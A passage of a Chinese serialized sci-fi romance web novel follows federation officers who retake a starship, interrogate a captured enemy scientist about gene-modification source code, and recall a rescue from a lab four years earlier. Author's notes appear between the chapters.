星舰配备的智能中控系统是整个联邦舰队统一的，如果它在此时此刻依然认定闻铮的上将和舰长身份生效，那就只能说明…… 闻铮从没真正地退役。 那这一切到底是…… 闻铮那边还在继续说：“我们的医疗官赫尔会为大家进行分批次的治疗，如果你们有什么问题，都可以随时和星舰上的智能中控沟通。” 赫尔被点名，踏前一步，露出了艾尔文人的标准礼貌假笑。 艾尼默人的问题暂时得到了解决，赫尔忙着给他们检查身体和治疗，闻铮又把视线移到了人类Alpha这边。 他刚才就注意到了，以一个红头发Alpha女性为首，几个Alpha把自己的外套脱给了艾尼默女孩们。 而此刻，那个红发Alpha也正用一种复杂的眼神看向自己。 闻铮的目光落在她身上：“你有什么话想和我说么？” 她从地上站起来，出乎闻铮的意料，她脊背挺直，下一秒竟然给闻铮敬了一个标准的联邦军礼！ “联邦逐星号通讯官罗伊少校，向闻上将报道！” …… 惊诧过后，闻铮他们才从罗伊那里了解到，在这十五个人类Alpha里，如克劳所说，九个是从魁斗星中立地带抢来的中等Alpha，而剩下八个则是逐星号当年315名船员最后的幸存者，而罗伊是他们中军衔最高的人，也因此，她一直是这些人中的主心骨 闻铮在安排好剩余人类后，将罗伊请到了舰桥上。 他看着罗伊因为长期营养不良而有些苍白的脸，皱着眉：“到底发生了什么？逐星号怎么会落入德瓦帝国军部的手里？” 罗伊瘦得两颊凹陷，那双银色的眼睛就显得分外大：“闻上将，您是否知道逐星号最后执行的任务是什么？” 闻铮有些犹疑地摇了摇头：“我只依稀听说过，逐星号好像是去执行一个科学考察任务，多年前在联邦边境一场等离子雷暴中失联，哪怕是现在，也挂在联邦搜寻的优先级名单上。” 他在罗伊的话中嗅到了一丝不寻常：“……你们当年真的是在执行科学考察任务吗？”—— 作者有话说：感谢珍白雪w、34402499的营养液！ 掉落联邦军服x1！ —— 换了个新封面！不知道大家喜不喜欢w（对手指 第123章 联邦S+绝密任务 罗伊勉强地笑了一下, 摇了摇头：“……抱歉，闻上将，我不能说。” 所有人都是一愣。 舰桥上此刻只有闻铮、裴简珩和凯利斯, 都是足够信得过的人, 闻铮以为罗伊是在顾及裴简珩和凯利斯，便解释道：“凯利斯上校是当年在悬空号上跟着我的第一大副, 裴中校也是我可以用生命信任的人，如果你信任我, 那你就可以信任他们。” ——用生命信任的人。 这句话太重了。 此言一出，裴简珩眼底微动, 几乎忍不住上挑的唇角。 就连凯利斯都有些愕然地看了裴简珩一眼，显然不知道从什么时候开始, 闻铮对他的信任居然已经超过自己了！ 可就哪怕闻铮把话都说得这么重了, 罗伊还是摇了摇头：“抱歉, 闻上将, 哪怕这里只有你和我, 我还是不能说。” 闻铮皱起眉：“什么意思？” 罗伊抿了抿唇：“逐星号最后执行的任务，是联邦S+绝密任务。” 联邦S+绝密任务是指, 必须要至少两个上将级军官同时允许，才能获取任务具体信息。 很明显, 在场的上将就只有闻铮一个。 “但我能说的是，”罗伊避开了绝密任务的内容，继续说：“我们的任务信息没有被德瓦哨兵1军发现，因为我们也没有完成这项任务。” “德瓦哨兵1军也对我们为什么会出现在边境非常好奇，奥克斯.奴瓦辛戈并不买单科学考察的说辞。”罗伊转开了脸，她的眼底有巨大的痛苦和恨意，“逐星号连同舰长在内的315名船员, 只剩下了我们八个。” “而牺牲的这些同伴，他们就算遭受了多么非人的虐待和实验，都没有吐出一个字。” 罗伊的眼泪都已经在这些年里面流干了，她睁着大大的眼睛，一滴泪水都流不出来。 闻铮心里一酸，轻轻拍拍她的肩膀：“他们是联邦的英雄，你们也是。” 他没有再逼问罗伊，他知道罗伊是军官，不可能违背命令，他只会让这个已经经历了很多创伤的通讯官更加痛苦而已。 再想想别的办法吧。 闻铮让裴简珩把罗伊送到医疗舱，他又在舰长椅上坐了下来，开始思考。 发生了太多的事情，一桩桩一件件，他甚至还没来得及处理智能融合体的事，甚至还没找到时间和裴简珩好好聊一聊，现在又出了逐星号的绝密任务…… 闻铮又开始头痛了。 但头痛也得一件一件解决，他扬声问：“人工智能，调出逐星号最后一次任务的具体信息。” 他现在有这艘星舰的最高指挥权，理论上来说，只要是逐星号的人工智能系统知道的信息，现在的闻铮都可以知道。 人工智能系统：“好的闻舰长，请提供’Annihilation’任务的任务编号。” 闻铮：“……” 什么东西？ 他和还留在舰桥上的凯利斯对视一眼，两个人都是一脸茫然。 …… 裴简珩把罗伊送回医疗舱，在半路的走廊里，裴简珩率先停下了脚步。 罗伊也缓缓停住，低声道：“……裴少将。” 裴简珩叹了口气，转过身来：“你离开……了以后就没有了消息，我都不知道你什么时候上了逐星号。” 罗伊垂头不语。 她还在裴简珩手底下的时候，比他大了十岁。 一开始她是不服的，凭什么一个这么年轻的人就能空降到这个位置上，还有了少将的头衔。 就因为他有一个光芒万丈的家庭背景吗？！ 而后来她才真正被他的能力和人品所折服，不只是她，当年裴简珩手底下的所有人都一样。 而直到罗伊真正地到德瓦实验基地里死了一遭，她才知道，这个她曾经看轻的年轻少将，到底经历了、付出了、牺牲了什么。 “所以逐星号所谓的绝密任务，哪怕是我问你，你也不会说吧。”裴简珩摇头，半晌才道，“但我也能猜到，是段洄的命令，是不是？” 罗伊没有说话，但裴简珩从她的表情中已经得到了答案。 如果他没记错，逐星号当年的舰长摩飞是段和华上将的嫡系，自然也就是段洄的人。 裴简珩也拍了拍罗伊的肩膀，就在刚刚闻铮拍过的地方，将自己的气味掩盖住闻铮淡淡的冷空气的味道：“我带你去医疗舱，其他的你先别多想，先回家。” 罗伊还要说些什么，却被全舰广播打断：“首席科学官茱莉，请立刻到舰桥集合。” …… 轮机室在正常运行，程迹也就放心地留黎晓一个人在那里，变成了茱莉的模样匆匆赶到了舰桥。 “怎么了？” 闻铮转身看到了程迹，他现在对于茱莉的形象已经非常习以为常了，对程迹招了招手：“程院士，能和我们分享一下当时你是怎么唤醒运霖的吗？” 程迹一怔，他的脑子转得飞快，都不是闻弦歌而知雅意能形容的程度了：“你要唤醒这艘船上的智能融合体？” 凯利斯在一旁面色有些凝重：“我不建议，我们废了老大的劲才重启联邦人工智能中控系统，如果要唤醒智能融合体，风险太大了。” 闻铮问：“那你的武器舱怎么办？” 凯利斯语塞。 刚刚闻铮仔细询问了人工智能系统，为什么逐星号的武器舱会被冻结80%。 人工智能系统在尝试了三种方法运算之后，才给出一个回答。 那个被闻铮选择强制格式化的智能融合体，选择了一个自我保护的方式，就是将全部的程序渗透进了武器舱的底层系统中，它牢牢地盘踞在里面，哪怕是系统重置，也很难把它清除掉。 所以闻铮才想了解一下程迹当时是怎么激活的谢运霖，能够让他和德瓦战舰融合得那么完美。 “我当然可以重演一次，”程迹淡淡道，“但运霖是一代智能融合体，这个星舰上的已经不知道是几代了，如果操作失误，风险确实很大。” 但闻铮的考量也是对的，如果不把武器舱解冻，他们最好祈祷在回到联邦的途中没有任何意外，否则，逐星号只有任人宰割的命。 虽然他们切断了德瓦实验基地对外的通讯，但那只是权宜之计，或早或晚，德瓦哨兵还是会知道的。 舰桥上的气氛陷入了凝滞。 裴简珩送完罗伊回来，听到了他们讨论的问题之后笑了一下。 闻铮看向他，显然是没明白他为什么在笑。 裴简珩的笑里却带着几分嘲讽：“我们都忘了一个人吧。” “那位一手创造出智能融合体的德瓦科学家，霍华德。”银发Alpha眉眼间带着几分厉色，“也该去和他聊聊了。” …… 所有人都被请出了禁闭室，只有这位德瓦科学家霍华德还被关着。 他身上是有联邦通用语翻译器的，所以闻铮全舰广播说的那些话，他都听得一清二楚。 不但一清二楚，甚至还分外心惊肉跳。 原来那个伪装成奥克斯·奴瓦辛戈的人类，居然就是德瓦哨兵吃了无数次亏的第三军团之刃！ 霍华德闭着眼睛冷笑起来，也是，除了闻铮，谁还能让他们吃这么大亏呢？ 栽在这位闻上将手里，倒也不丢人。 毕竟就算是奥克斯·奴瓦辛戈元帅，当年也没少输给他。 只是…… 霍华德眼底划过一丝狠厉，源代码！ 他不担心源代码被破解，这帮军官没有那么聪明的脑子，但他要想办法把这段源代码通过机密线路传给哨兵1军，只要他们拿到了这段最新版本的源代码，那些已经被分批次转移走的基因改造哨兵就可以正式被投入战场！ 那是多么庞大、震撼的战力！ 一切为了更光辉的复兴！ 霍华德眼底闪着疯狂的光，只要他能接入任何一个智能端口，他就能把这段源代码传入无痕机密线路，他一定要做到！ 这时，禁闭室的大门打开了。 那位闻上将，带着霍华德这辈子最成功、也最无法复刻的实验品站在门口，遥遥地，冷冷地睨着他。 霍华德一声不吭，把头转到一边不看他们。 “像小朋友一样耍小脾气是没用的，”闻铮走了进来，淡淡道，“你现在的命攥在我手里，好好配合可以让你少吃很多苦。” 霍华德的手腕和脚踝都被裴简珩掰断了，他此刻半躺在禁闭室的地上，像一滩烂泥，当然也毫无尊严可言。 “你死心吧，你就算再怎么折磨我，我都不会说任何关于源代码的信息。”霍华德道，“就算我死，我也是为了帝国荣誉而死！” 闻铮双手环胸，饶有趣味地睥睨着这位连站都站不起来的科学家，佯装不懂地示弱套话：“分享一个消息，你们的实验基地已经被夷为平地，源代码跟着中枢台一起化成灰了。” “……哈哈哈哈哈！” 霍华德大肆嘲笑出声，蓦地停住，阴鸷地盯着闻铮的眼睛，柔声道：“好无知的一句话，闻上将，你完全不懂科学是吗？” 闻铮：“……” 骂我？ 他倒是也没生气，只是挑眉，注视着霍华德入套：“那就给我上上课吧，大科学家。”—— 作者有话说：小剧场： 霍华德：你完全不懂科学是吗？ 闻哥：禁止科学家嘲笑普通人 凯利斯：你是普通人？ 黎晓：你是普通人？ 赫尔：你是普通人？ 程迹：你完全不懂科学是吗！ 第124章 四年前 霍华德那张暗色的脸上浮现出嘲讽：“源代码是永存的, 不会因为承载物质的消亡而消亡。你们毁了基地也没用，源代码会以十分钟为单位自动传输覆盖前一个版本。” “别怪我不相信你，”闻铮眯起眼睛, “克劳说过, 你们的元帅阁下不允许你们随意更改源代码2.3.1版本，怎么可能像你说的十分钟自动覆盖？” “克劳……哈！”霍华德脸上的讥讽之色更深, “他就是一个空有野心毫无大脑的蠢货，他懂什么？” “2.3.1是第II阶段的基石——” 霍华德意识到自己在被闻铮套话, 立刻刹停。 闻铮问：“基石？” 霍华德眼底闪过几分懊悔，冷冷道：“我不会再回答任何关于源代码的问题了。” “好吧, 反正我也不是为了源代码来的。” 闻铮脸上也没有遗憾之色，他们有程迹, 因此在源代码这件事情上, 霍华德愿意吐口当然更好, 就算他不说, 程迹也有自己的办法。 德瓦科学家面露几分疑惑。 不是为了源代码？ “你们这个基地的科学家不多, 所以我猜智能融合体也是你鼓捣出来的，对吧？” 霍华德冷笑, 闭上眼睛，显然不想回答：“你们已经夺回了逐星号的指挥权, 就证明我的智能融合体实验已经失败，还有什么好问的？” 闻铮不可能告诉他逐星号的武器舱已经被冻结，万一出了什么纰漏，他们就太被动了。 “我不感兴趣，但我的科学官对此很感兴趣。”闻铮笑了一下，茱莉从他背后踏了出来，若有所思地垂眼看着地上的霍华德。 霍华德对这个漂亮的棕发女人嗤之以鼻, 这么年轻，能懂什么。 “别小看茱莉，”闻铮意味深长，“你要和她学的东西还多着呢。” 说完，他对程迹颔首：“我给你们一点私人空间，我不管你用什么办法，两个小时内我希望能得到一些进展。” 程迹微笑地领命。 “啊，对了。” 在踏出禁闭室的门之前，闻铮转过身，似乎想起了什么：“霍华德，你们这个实验基地，在四年前已经被毁过一次了吧？” 霍华德抬起眼皮看他一眼，目光也落在他身后的实验品379身上：“明知故问什么，实验品379不是已经告诉你了吗？” “这可不是他告诉我的，”闻铮对他弯起双眼，“我知道四年前他被救走对你们的实验进度来说是个巨大无比的重创，你和奥克斯·奴瓦辛戈恨都恨死了吧。” 霍华德半躺在地上，仰头看去，这个明明有着一张漂亮脸蛋的人类，却让他恨不得把他剥皮抽骨，一口一口地咽下去！ “我可以告诉你，四年前那个半毁了你们基地，把他带走的人——” “——也是我。” 这三个字一出，裴简珩却僵在了当场，他瞳孔震荡，一时之间竟然不能、也不敢去看闻铮！ 霍华德蓦地瞪大淡色的眼睛，几乎目眦欲裂，怒吼：“闻铮！！！” “叫什么。” 闻铮收起了笑容，一脚踩在了他的脸上，神色冷到骇人：“你应该感谢命运，如果不是我记忆受损，你们根本不会有这四年的实验时间。” “四年前牺牲的人，逐星号上307名联邦军官的命，你对我的人造成的那种伤害，我都会让你一点点地还回来。” 他瞥了程迹一眼，显然程迹也明白了他的意思。 闻铮带着一言未发的裴简珩离开了禁闭室。 霍华德被闻铮说的话气得直喘粗气，脸上还残留着闻铮鞋底的印子，他余光看见这个被留下的漂亮科学官慢条斯理地在他面前蹲了下来：“现在就剩下你和我了。” 德瓦科学家朝她脸上唾了一口。 程迹道：“你态度真不好，跟我学了这么多东西，我也算你半个老师了吧？” 霍华德觉得她简直是莫名其妙，叽里咕噜说什么呢，听也听不懂。 “既然我的上司现在不在这儿，那我就和你多说一句。” “谢谢你帮我们确认了源代码会自动覆盖这件事，”程迹站起来，把自己的棕色长发轻柔地掖到耳后去，“不要担心，我们会确保奥克斯·奴瓦辛戈拿到这份源代码的。” 霍华德更是云里雾里，只是还没等他仔细去想，眼前这个女人却又抛出了一个问题：“现在，我们需要聊一下智能融合体的问题了。” “不想说？没关系，多亏了你们德瓦哨兵，我才知道类人生物体可以承受的极限到底在哪里。” 程迹钳住他的脖颈，把他的侧脸死死压在了地上，俯身在他耳边，语气怨毒：“你是德瓦帝国第一梯队的生物和物理学家，你的名字在所有德瓦帝国侵略殖民的生物实验专家队的名单上。” “让我来看看，你手上沾了多少我族人的血。” 下一刻，难以自控的惨叫声响彻禁闭室！ …… 裴简珩一言不发。 闻铮猜得到他在想什么，他快走几步，在1号甲板上随便推开了一扇休息舱的门，一把把裴简珩拉了进去。 休息舱里没有开灯，只有窗外的宇宙冷光斜照进来。 闻铮回身，他们两个现在就缩在这个狭窄的休息舱室内，他双手捧起裴简珩的脸，沉默了一下方才道：“……你有什么想问我的？” 裴简珩反手摸上他的手背，轻声问：“所以您是什么时候恢复记忆的？” 闻铮顿住，缓缓道：“在你把镇静剂扎进我身体里的前一秒。” 裴简珩张开双臂，把他紧紧地拥在怀里，喃喃：“……对不起，闻哥，对不起……” 闻铮垂下眼睫，几不可闻地叹了口气：“所以现在可以告诉我了吗？我的记忆到底出了什么问题，为什么这四年来，我对那场救援行动毫无印象？” 裴简珩抿紧唇，半晌才低低道：“联邦星舰军队高层认为这场救援行动是3S+绝密任务，因为涉及到基因工程改造，所以除了我以外所有参与救援的人员，都会被强制进行记忆封存。” “这种记忆封存是联邦军部专用的，在大脑中进行了锁定，如果被外界强行灌输唤醒，大脑会受到极大损伤。”裴简珩缓缓摇头，“所以我不能把那些记忆都直接地告诉您，只能看您是否会自发地想起来，主动冲破记忆锁。” 闻铮仰脸看着他，手指轻轻描摹过他那深邃的轮廓，问：“那如果我一直没能想起来呢？” 在记忆复苏之后，一切过往的画面都如同开闸泄洪般袭来，闻铮这才恍然明白了一切不合理的地方！ 为什么在那个酒吧里，他拒绝了所有人，却唯独一眼就看中了裴简珩。 为什么他总觉得裴简珩有些莫名的眼熟，但却怎么也想不起来。他一直都很奇怪，他怎么可能对一个如此出众的Alpha毫无印象？ 为什么在一年前的床|上，裴简珩看向他的眼睛里会有那么多、那么复杂的感情，为什么他抱着自己的时候，就好像抱着某种失而复得的珍宝。 为什么他会跨越了整个联邦来到7号星，甘愿隐姓埋名，甘愿受到自己的猜忌冷眼，也要执着地一步步回到他身边。 最开始，闻铮一直不愿意承认，但其实他对裴简珩的信任是下意识的、甚至是无意识的，他的大脑被迫忘记了这个人，潜意识却不停地告诉他——你要相信他，你要走近他，你要接受他。 否则你会后悔，你一定会后悔。 到了此时，一切的一切，才重新被揭晓了答案。 裴简珩在闻铮的额际落下珍而重之的一吻：“想不起来也没关系，您看，我不是让您又重新爱上我了吗？” 他那双湛蓝色的眼睛一眨不眨地看着闻铮，看着他失而复得的爱人：“我会让您重新爱上我的，无论再来多少次，无论要我再付出什么代价。” 这句话一出来，闻铮简直心魂都为之大震，他环上裴简珩的脖颈，在双唇相贴的一瞬间，一串泪水从他的眼角滑落。 恢复记忆以来，太多的事情摆在面前，他甚至都没有时间好好梳理四年前到底发生了什么。 直到此刻，那些记忆的画卷才又被重新展开。 …… 四年前，UNK-322星 黄沙漫天的荒漠中，空气突然被扭曲了一瞬，下一秒十个浑身武装的战士凭空出现。 站在最前面的是一个瘦削修长的人类，他穿着修身的作战服，就连脸上也带着面具，只有一双深邃漆黑的眼睛露在外面，眉眼极度艳丽，眉宇间还有着几分冷冷的锐意。 他身后的人踏前一步，对他低声请示：“闻上将，我们直接前往那座可疑的德瓦基地吗？” 29岁的闻铮打开了通讯自带的悬浮屏，看到求救信号的定位正在北区时隐时现，低声对着通讯道：“闻铮呼叫锐剑号，你们对这座德瓦基地的扫描进行的如何了？” 他的通讯里传来了锐剑号舰长保罗的声音：“这座德瓦基地的防护系统不弱，但我们配备的武器很充足，登陆小队请以自身安全为第一要义，我们还有一个保底方案。” 闻铮有些无言：“你的保底方案是把这里直接炸干净，你管这个方案叫保底，我管你这个方案叫胡来。” 保罗的声音也很无奈：“闻上将……你知道这是艾德莱斯五星上将给出的命令。” “硬把我从西翼战场叫过来，亲自率领登陆小队执行救援任务也是他的命令。”闻铮翻了个白眼，“这个德瓦基地到底有什么，让他这么紧张。” 保罗舰长：“……” 保罗舰长只是一个少将，闻铮和艾德莱斯这两位神仙打架就算了，他可不敢随便接话。 “不管怎样，”闻铮把话题拽了回来，“我们这是救援任务，不是捣毁任务，还是尽量把人救出来。” 他把目光落在了远处若有似无的德瓦建筑群中，暗中咬紧了牙关。 他倒要看看，这帮德瓦哨兵到底在搞些什么鬼—— 作者有话说：开始回忆杀！ 揭露一些xql一见误终身（不是）的真相！ 下面几章是闻哥（意气风发限定版[猫头] 第125章 那你呢？ 闻铮带领登陆小队在德瓦基地旁边埋伏了一个白天, 留了三个人在外面接应，他终于逮到机会带着其余人跟着物资补给混了进去。 直到钻进物资补给舱的时候，他才愕然发现, 这些被标注着“廉价耗材”的物资, 竟然是一个个神色麻木的艾尼默人！ 因为登陆小队配备了隐身装置和生物屏蔽器，那些艾尼默人并没有看到他们, 这些“耗材”只是沉默地团在那里，看样子已经完全接受了自己的命运。 闻铮看着他们, 感觉心底一阵发酸。 很多年前，沈亦映和闻衡之从首都星被外派到7号星, 闻铮也在那里出生、长大。他的父母对艾尼默人很尊重很友善，是真心地把他们当成7号星的原住民对待, 也从小就教育他, 这片土地不是人类的, 要时刻保持谦逊。 他们也告诉闻铮, 自从德瓦帝国殖民过7号星以后, 还有很多很多的艾尼默人被他们带回了德瓦帝国，依然在德瓦帝国的控制之下过着没有尊严的生活。 小时候的闻铮似懂非懂, 直到他真的奔赴前线作战，才知道那些被德瓦帝国奴役的艾尼默人到底有多么可怜。 就像眼前这些“耗材”一样。 他有些不忍心地扭过脸, 几不可闻地叹息。 过了一会儿，物资舱已经入库，德瓦基地的护卫们把这些艾尼默奴隶押入了饲养圈。在他们没注意的时候，随着周围环境的细微波动，登陆小队的六名成员已经悄然离开。 按照计划，他们即将分开行动，三个人从东侧出发, 三个人从西侧出发，最终目标都是求救信号的发出地点，中枢室。 基地的地图是锐剑号扫描出来的，大体上没问题，细节却不太准。 具体表现在，闻铮已经走进三次死路了。 他无语地按响了通讯：“保罗舰长，这个地图的误差真的<1%吗？” 保罗舰长的声音一卡一卡的：“是……百分之……误差……常……” 看来这个基地有屏蔽通讯的装置，导致他们的对话时断时续。 闻铮皱了皱眉，锐剑号对他们的支持比较有限，还是得靠他们自己。 他对其他两个人打了个手势，示意他们跟自己走西边那条路。 他们摸索着前行，靠着屏蔽器和隐身装置，一路上倒是也没有什么大状况。 直到进入另一区，闻铮发现这里的守卫很明显多了起来。 但中枢室还没到，这么多守卫，到底在保护什么地方？ 闻铮脸色微沉，沿着墙边端着相位枪缓步前行。 就这样又前行了十分钟，他眼前出现了一个巨大无比的……实验室。 有一个德瓦科学家正好开门进去，闻铮示意其他两个人在门口等着，他一猱身飞速尾随窜了进去。 当实验室内的景象映入眼帘的时候，他完全被震惊了，甚至被震撼到倒退一步！ 在这间三百多平方的实验室正当中，有一个巨大无比的透明容器，容器中浸满了蓝绿色的不知名液体，而在这些液体中，死死地浸泡着一个人。 那人银色的头发飘散在蓝绿色液体里，上半身赤|裸|着，闻铮能看到他身上连接到各种实验设备的软管，他的眼睛闭着，似乎已经失去了所有知觉。 闻铮屏气凝神，绕着这个容器转了一圈，在显示屏上看到了他的信息。 实验编号：实验体379 物种：人类Alpha 原生等级：S级 基因改造后等级：4xS级 危险等级：最高 人类Alpha？！ 闻铮瞳孔猛地紧缩！ 在这块小小的显示屏幕上，显然有太多让闻铮震惊的信息了。 德瓦帝国正在进行基因改造工程，还是把人类Alpha当做试验品？ 并且从显示的情况来看，他们已经成功了！ 嗵嗵嗵—— 闻铮感觉到自己的心跳在加快。 他不知道德瓦帝国的这个基因实验的目的到底是什么，但他知道，这绝对不会是什么好事。 这个Alpha，他必须要带走。 如果带不走…… 闻铮握紧了手里的相位枪，不愿意去深想。 他把目光移到容器中的银发Alpha身上，因这个决定而心跳如擂鼓。 他缓缓跟在那个德瓦科学家身后，在他毫无防备的情况下解除隐身，突然出现，右手如钳般狠狠掐住了德瓦科学家的脖颈，一把把他掼到了墙上，在他耳边低语：“告诉我，这个装置怎么操作。” 五分钟后，闻铮把德瓦科学家血肉模糊的尸体扔到一边，擦了擦脸上被溅到的血，按照逼问出的办法一步一步地操作，直到显示屏上出现设备已安全关闭的字样。 那些看上去就足够骇人的管子缩了回去，闻铮呼出一口气，有些紧张，他都怕自己一个操作不当直接把这个Alpha弄死了。 银发男人漂浮在蓝绿色的液体中，毫无反应。 闻铮心里一咯噔，连忙凑到透明容器前观察，却在下一秒撞进了一汪蓝色的海洋中。 Alpha缓缓睁开了那双眼睛，而闻铮成为了他在无限痛苦深渊中，见到的唯一一束光。 …… “穿上。” 闻铮把德瓦科学家的外衣扒下来丢给他：“只有这个了，你要是想继续裸着我也没意见。” 银发Alpha沉默地接了过去套上，半晌才嘶哑着嗓子说：“多谢。” 闻铮靠在墙上，看着他穿上衣服，问：“你还记得你是谁吗？” 他顿了一下，慢慢道：“联邦前锋突击三队中校，裴简珩。” 闻铮立刻站直了身体，惊讶：“你是联邦军官？” 裴简珩点头，他的眼睛似乎黏在了闻铮身上，根本不愿意移开。 闻铮道：“那我也简单自我介绍一下，我是闻——” “我知道您是谁。” 裴简珩轻轻打断了他的话，看着他墨黑的眼睛，认真地说：“您是第三军团上将，悬空号的舰长，闻铮。” 这次闻铮的惊讶更是溢于言表：“你怎么——你见过我？” 裴简珩似乎是默认了，随后又似是而非道：“您很有名。” 这时，闻铮的耳麦里传来了门外两个同伴的声音：“闻上将，里面还好吗？外面响起了基地的警报，很多守卫应该马上就会到了！” 闻铮当机立断：“现在不是叙旧的时候，你的身体能支撑战斗吗？” “我就是为了战斗而被改造的，”裴简珩的声音沉了下去，“放心，不会拖累您的。” 闻铮把自己的相位枪扔给了裴简珩，自己从靴帮里拔出了一把相位刀。 下一秒，裴简珩却伸手过来，把相位枪塞回给他，反而从他手里拿走了相位刀。 闻铮一怔。 裴简珩道：“他们加强了我的身体机能，进攻武器在我手里更能发挥效用。” 闻铮想到了刚才屏幕上显示的4倍S级，倒是也没有和他争。 “我们要去中枢室，”闻铮简短道，“从那里传来了不知道是谁发送的联邦求救信号。” “如果是这样，”裴简珩的眼睛暗了下去，缓缓道，“那我知道是谁发送的信号。” “……是我的同伴，贺朝。” …… 中枢室内 闻铮和裴简珩在另外三个人的掩护下，好不容易杀到了中枢室，两个人却对中枢台感到有些手足无措。 他们谁都不是科学家，所以哪怕明知道这个中枢台肯定有惊天的秘密，但也不敢轻举妄动。 闻铮手里的悬浮屏上显示他们已经离联邦求救信号越来越近，两个红点几乎重叠。他在房间里转了一圈，最后从某个看不懂的设备背后取下来了一块信号发射器。 “这是你同伴放在这里的吗？” 裴简珩看向那个信号发射器，点了点头。 闻铮仔细地检查了一番，在那上面一个隐蔽的角落看到了联邦前锋突击卫的标志，问：“不介意的话，我想问一下你们一共来了多少人？” “……26个。”裴简珩低声道，眼底有着巨大的痛苦和恨意。 闻铮犹豫了一下，还是轻轻拍了拍这位年轻中校的肩膀：“我们接下来就去救他们——” “太迟了，他们都死了。” “在基因改造工程实验中活下来的人，只有我和贺朝。” 裴简珩握紧了手边的一个椅背，闻铮眼见着那个椅背在他手里化成了灰。 ……那是金属的。 闻铮一方面为联邦前锋突击卫三队的牺牲而哀敬，另一方面又被裴简珩改造后的身体机能而大为震惊。 裴简珩动了动耳朵，他的听力现在也是四倍的提升：“有85个德瓦守卫过来了，还有65秒到达门外。” 闻铮脸色一沉。 裴简珩从他手里拿过那个信号发射器，也不知道按了哪里，它就蓦地弹射出了一个坐标。 “这是贺朝他们的坐标点，”裴简珩道，“闻上将，你们去这里就能和他们汇合，还请您帮忙把他们都带回家。” 闻铮皱眉：“他们？” “……这不是我们第一次尝试逃离。”裴简珩看见闻铮扫了一眼坐标，知道他已经记下了，就把信号发射器在指尖碾成了飞灰，“上一次尝试的时候，我们在几个艾尼默人的帮助下拿到了一些德瓦实验室的数据。” 艾尼默奴隶不乏有不认命的抗争之人，为首的中年豹属男人，叫谢运霖。 他被裴简珩和同样在实验中活下来的贺朝说服，团结了十几个艾尼默奴隶，带着数据一起从实验室闯了出去。 但毕竟人数相差悬殊，谢运霖是第一个自愿被擒获的人。 裴简珩是第二个。 千钧一发之际，他知道自己这个最成功的实验体对这帮德瓦人来说意味着什么，他留下了自己吸引火力，让贺朝带着数据和艾尼默人逃脱。 只是他没想到，贺朝和艾尼默人本可以直接跑了，却还是冒着风险闯入了中枢室，藏下了这枚唯一留存的联邦信号发射器。 闻铮听完了他简单的描述，没有置评，只是望着他湛蓝色的眼睛，轻声问：“那你呢？”—— 作者有话说：感谢34402499、珍白雪w、crystillfancy的营养液！ 掉落信号发射器x1！ [让我康康][让我康康]想再和大家求求营养液和评论嘛（撒娇 第126章 痛吗？ 裴简珩攥紧了手里的相位刀, 刀上似乎还残留着闻铮的体温。 他沉默了一瞬，慢慢道：“不用管我，他们不会杀死我的。” “但他们会把你抓回去, 再次丢回到实验装置里。”闻铮道, 他实在是没想到，眼前这个看起来还很年轻的Alpha, 在遭受了这么多苦难过后，竟然还能违背人性底层的求生欲而说出这样的话来。 闻铮和锐剑号的通讯联系不上, 很可能是中枢室这里有什么屏蔽通讯的装置，但好消息是, 他还可以联系上在基地里的其他救援人员。 他低声道：“救援队所有战士听令，立刻前往坐标点(3.5, 6.4, 7.3), 可能会有人类幸存者和艾尼默人在此处藏匿, 你们的任务是把他们和他们手里的数据安全带上锐剑号。” “明白, 长官！” 通讯里随后又传来了其他救援队员的声音：“那您——” “不用管我，我——” 裴简珩叹了口气, 伸手过去按住了闻铮的通讯，不让他继续下达命令：“这段对话听着倒是很耳熟。” 闻铮皱眉看向他。 裴简珩那双湛蓝色的眼睛直直地看回去, 眼底神色复杂，但闻铮能判断出来，每一种神色都不似作伪。 “……放手吧，我已经是被改造后的基因怪物了，联邦不允许我的存在，所以不值得你再为我把命留在这里。” “你和他们一起走，去救贺朝他们, 然后拿好数据回去联邦。不管德瓦帝国在谋划什么，你都要阻止他们。”裴简珩的声音很低，却很坚定。 闻铮能听出来，他不是在做戏，也不是在塑造一个舍己为人的圣人形象，这就是他心底最真实的想法。 顿了一下，裴简珩的脸上似乎浮现了一丝纠结和犹豫，随后又下定了什么决心一般，眼神在闻铮的脸上流连，似乎要把他的模样牢牢地烙印在记忆里。 Alpha轻轻笑了起来，笑容里带了几分不舍，又有几分洒脱：“……我很高兴还能再见到您一面。” 闻铮眉头一紧。 这句话是什么意思？ 他们此前见过？ 这时，通讯里传来了同伴催促的声音，闻铮推掉了裴简珩挡在通讯上面的手。 “我有我自己的办法，”闻铮的声音很平静，“你们按照我的指令去做就行，不需要顾虑我。” 那边陷入了犹豫，闻铮厉声道：“服从命令！” 救援队的成员这才听命。 只是在他们离去前，副队长的声音响起：“闻上将，请务必为了联邦保重，联邦不能没有您。” 裴简珩也没完全没想到闻铮这么犟，他都这么说了，闻铮还是要留在这里。 他又急又无奈：“您是上将！您——” “我是来执行救援任务的，我在这里不是上将。”闻铮淡淡道，“你是联邦的战士，我就不可能把你丢在这里，看着你去死。” “我们会出去的，我会走，也会带你走。” 闻铮朝中枢室的窗外瞥了一眼，又看向了裴简珩，弯了弯双眼：“我们会一起回去联邦，我会带你回家，你相信我吗？” 裴简珩瞬间红了眼，他用力地点了点头。 就算是S级Alpha，就算上了这么多次战场，他也只有二十三岁。 不用裴简珩的机能，就连闻铮都听到了中枢室外传来的杂乱脚步声，确实一听就有不少人。 闻铮面色沉静，他抬手就是三枪，哪怕是最高等级的材质，中枢室的窗也在相位枪的最高档位下摇摇欲坠。 他垂眼看了看窗外的海，中枢室恰好在一个小悬崖上。 德瓦基地守卫踹开了中枢室的门，对他们吼叫着什么，相位枪的昏迷光束示威一般地打在他们脚边。 闻铮对裴简珩笑了一下，颊边的梨涡若隐若现。 他伸手给了裴简珩。 裴简珩垂眼看着那只修长瘦削的手，那只粗糙、又有着细小疤痕的手。 然后毫不犹豫地牢牢握了上去，进而又将闻铮整个人都抱进了怀里。 闻铮：“……？” 他那句你在干嘛还没说出口，就感到身体蓦地腾空！ 裴简珩环抱住他，用自己的身体对摇摇欲坠的窗户进行了最后一击！ 风声从耳边呼啸而过，裴简珩的怀抱却温热得不可思议。 “扑通——” 闻铮听见了裴简珩的心跳声。 崖地的湖泊泛起了巨大的水花，随后又很快恢复平静。 闻铮和裴简珩在水底屏息，奋力地朝前游去。 他不敢浮出水面，他知道那些德瓦基地守卫就在上面蹲着，只要他们冒头，立刻就会被远程相位狙击枪毙命。 